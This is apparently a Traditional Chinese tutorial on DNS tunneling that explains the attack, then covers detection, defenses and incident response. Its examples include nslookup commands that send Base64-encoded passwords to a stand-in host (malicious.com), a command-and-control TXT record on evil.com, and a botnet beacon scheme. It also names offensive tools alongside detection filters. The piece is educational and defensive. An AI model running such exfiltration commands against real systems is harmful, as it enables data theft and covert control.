DNS Tunneling 是一種利用 DNS 協定的漏洞來進行資料傳輸的攻擊手法。攻擊者可以透過偽造 DNS 查詢來將資料封裝在 DNS 訊息中,並透過 DNS 伺服器進行傳輸。

為什麼 DNS Tunneling 如此危險?

DNS 協定在網路架構中扮演著關鍵角色,幾乎所有的網路通訊都需要 DNS 解析。這使得 DNS 流量通常被視為「合法」流量,很少受到嚴格的監控和過濾。攻擊者正是利用這一點,將惡意資料隱藏在看似正常的 DNS 查詢中。

主要危險性包括:

  • 繞過防火牆: 大多數防火牆允許 DNS 流量通過,攻擊者可以輕易繞過網路安全防護
  • 難以偵測: DNS 查詢本身就很頻繁,惡意查詢很容易混淆在正常流量中
  • 資料竊取: 可以用來偷取敏感資料,如密碼、檔案或內部網路資訊
  • 建立持久連線: 攻擊者可以建立持續的通訊管道,進行長期滲透

攻擊手法詳解

基本原理示例

舉個例子: 攻擊者想要將「This is normal message」傳輸到遠端主機,可以將資料封裝在以下 TXT 記錄中: example.com. 3600 IN TXT "This is normal message" 之後攻擊者利用受害者電腦發送 DNS 查詢請求(瀏覽網頁時同樣會對網站的網域 DNS 發送查詢請求)給 example.com 時,會收到:

; Response to the TXT query for example.com
example.com. 3600 IN TXT "This is normal message"

受害者的電腦向 example.com 發送 DNS 查詢,獲取上述 TXT 記錄,攻擊者即可從中提取資料。由於 DNS 查詢頻繁且多樣,防火牆通常不會深入檢查每個 DNS 請求和回應,這使得 DNS 隧道攻擊可能成功。

實際攻擊範例

範例 1:資料外洩攻擊

假設攻擊者想要竊取受害者電腦中的密碼檔案 passwords.txt,內容如下:

admin:P@ssw0rd123
user1:SecretKey456

攻擊者會執行以下步驟:

  1. 資料編碼: 將密碼檔案內容進行 Base64 編碼

    原始資料: admin:P@ssw0rd123\nuser1:SecretKey456
    Base64編碼: YWRtaW46UEBzc3cwcmQxMjMKdXNlcjE6U2VjcmV0S2V5NDU2
    
  2. 分段傳輸: 由於 DNS 查詢有長度限制,需要將資料分段

    段落1: YWRtaW46UEBzc3cwcmQ.malicious.com
    段落2: xMjMKdXNlcjE6U2VjcmV0.malicious.com
    段落3: S2V5NDU2.malicious.com
    
  3. 發送查詢: 惡意程式在受害者電腦上執行 DNS 查詢

    nslookup YWRtaW46UEBzc3cwcmQ.malicious.com
    nslookup xMjMKdXNlcjE6U2VjcmV0.malicious.com
    nslookup S2V5NDU2.malicious.com
    

範例 2:命令控制攻擊

攻擊者也可以透過 DNS 回應來傳送命令給被感染的電腦:

  1. 受害者電腦查詢: getcommand.evil.com
  2. DNS 伺服器回應:
    evil.com. 300 IN TXT "cmd:ZGVsZXRlIGFsbCBmaWxlcw=="
    
  3. 惡意程式解碼: Base64 解碼後得到 delete all files
  4. 執行命令: 惡意程式執行收到的指令

範例 3:長期滲透攻擊

在進階攻擊中,攻擊者可能建立持續的通訊管道:

# 定期心跳檢查
ping001.botnet.com → 確認連線狀態
ping002.botnet.com → 回報系統資訊

# 接收新指令
update001.botnet.com → 檢查是否有新任務
update002.botnet.com → 下載新的惡意程式

# 資料回傳
data001.botnet.com → 傳送竊取的檔案
data002.botnet.com → 傳送系統日誌

現實中的攻擊案例:

在實際攻擊中,攻擊者可能將敏感資訊(如帳號和密碼)進行編碼(例如 Base64),然後將其嵌入到 DNS 查詢中,傳輸至攻擊者控制的 DNS 伺服器。例如,攻擊者可能發送類似 encoded_data.example.com 的 DNS 查詢,其中 encoded_data 是編碼後的敏感資訊。

實際攻擊的概念驗證(POC):

GitHub 上有一個名為 dns-tunneling-poc 的專案,展示了 DNS 隧道的概念驗證。該專案包含一個 DNS 客戶端和伺服器,演示如何通過 DNS 查詢傳輸資料。具體而言,客戶端將資料分段編碼為 Base32,並將其嵌入到符合 DNS 命名規則的查詢名稱中,然後發送給攻擊者控制的 DNS 伺服器。伺服器接收這些查詢,解碼並重組資料。

常見的 DNS 記錄類型濫用

攻擊者可能濫用不同類型的 DNS 記錄:

  • TXT 記錄: 最常用,可以包含任意文字資料
  • A 記錄: 將資料編碼為 IP 位址格式
  • CNAME 記錄: 在別名中隱藏資料
  • MX 記錄: 利用郵件伺服器記錄傳輸資料
  • SRV 記錄: 在服務記錄中嵌入資訊

如何偵測和防制

偵測異常 DNS 流量的指標

在實施防護措施之前,了解如何識別可疑的 DNS 活動非常重要:

異常流量模式

  • 查詢頻率異常: 短時間內大量針對相同網域的查詢
  • 查詢名稱異常: 包含隨機字串或編碼資料的網域名稱
  • 記錄類型異常: 大量 TXT 或其他非常見記錄類型的查詢
  • 回應大小異常: DNS 回應包含異常大量的資料

實際偵測範例

正常的 DNS 查詢:

google.com
facebook.com
youtube.com

可疑的 DNS 查詢:

YWRtaW46UEBzc3cwcmQ.malicious.com
SGVsbG9Xb3JsZA.evil.com
dGVzdGRhdGE.attacker.com

防護措施詳解

基礎防護

  • 避免安裝未知或可疑的軟體: 攻擊者常透過誘導受害者安裝惡意程式來建立 DNS 隧道。因此,應謹慎下載和安裝軟體,僅從可信來源獲取,並定期更新防毒軟體以偵測和阻止惡意程式。

  • 監控 DNS 流量的數量與頻率: 定期分析 DNS 查詢的模式,特別是短時間內大量針對相同或相似網域的查詢,這可能是 DNS 隧道攻擊的徵兆。透過設定警報和限制,及早發現並阻止異常的 DNS 活動。

技術防護措施

  • 實施 DNS 安全擴展(DNSSEC): DNSSEC 可確保 DNS 資料的完整性和真實性,防止偽造和篡改,增強 DNS 的安全性。

  • 使用 DNS 防火牆: 部署先進的網路威脅防護系統,能夠檢查 DNS 流量,識別並阻止嵌入在 DNS 查詢中的惡意內容,防止資料外洩。

進階防護策略

1. DNS 流量分析工具

實施專門的 DNS 分析工具來監控異常活動:

# 使用 Wireshark 過濾 DNS 流量
dns and (udp.length > 512 or tcp.length > 512)

# 監控大型 TXT 記錄查詢
dns.qry.type == 16 and dns.resp.len > 100

2. 網域黑名單管理

建立和維護可疑網域的黑名單:

# 可疑網域範例
*.suspicious-domain.com
*.temp-dns.net
*.random-strings.org

3. DNS 查詢率限制

設定每個用戶端的 DNS 查詢頻率限制:

# 每分鐘最多 100 次查詢
# 連續查詢相同網域不得超過 10 次
# TXT 記錄查詢每小時不得超過 20 次

4. 深度封包檢測(DPI)

使用 DPI 技術分析 DNS 封包內容:

  • 檢測編碼後的資料模式
  • 識別異常長度的查詢名稱
  • 分析回應內容的熵值

企業級防護方案

網路層防護

1. 部署專用 DNS 防火牆
2. 實施 DNS 過濾服務
3. 使用威脅情報饋送
4. 設定 DNS 流量鏡像分析

主機層防護

1. 安裝端點偵測回應(EDR)解決方案
2. 監控程序的 DNS 查詢行為
3. 實施應用程式白名單
4. 定期進行安全性掃描

日誌分析和監控

1. 收集所有 DNS 查詢日誌
2. 建立異常檢測規則
3. 設定即時警報系統
4. 定期進行威脅狩獵

應急回應計畫

當發現可能的 DNS Tunneling 攻擊時,應立即採取以下措施:

立即行動

  1. 隔離受影響的系統: 中斷可疑主機的網路連線
  2. 封鎖惡意網域: 在防火牆和 DNS 過濾器中封鎖可疑網域
  3. 收集證據: 保存相關的網路流量和系統日誌

調查階段

  1. 分析 DNS 日誌: 識別所有可疑的 DNS 查詢
  2. 檢查受影響系統: 掃描惡意軟體和未授權的程式
  3. 評估資料洩漏: 確定是否有敏感資料被竊取

復原階段

  1. 清除惡意軟體: 徹底清理受感染的系統
  2. 更新安全措施: 強化 DNS 監控和防護
  3. 員工教育: 提供額外的安全意識培訓

參考資料

相關工具

攻擊工具(僅供教育用途)

  • dnscat2: 功能強大的 DNS 隧道工具
  • iodine: 通過 DNS 建立 IP 隧道
  • dns2tcp: TCP 通過 DNS 隧道傳輸

防護工具

  • Pi-hole: 網路級 DNS 過濾
  • pfSense: 開源防火牆與路由器
  • Suricata: 開源入侵偵測系統
  • BIND RPZ: DNS 回應策略區域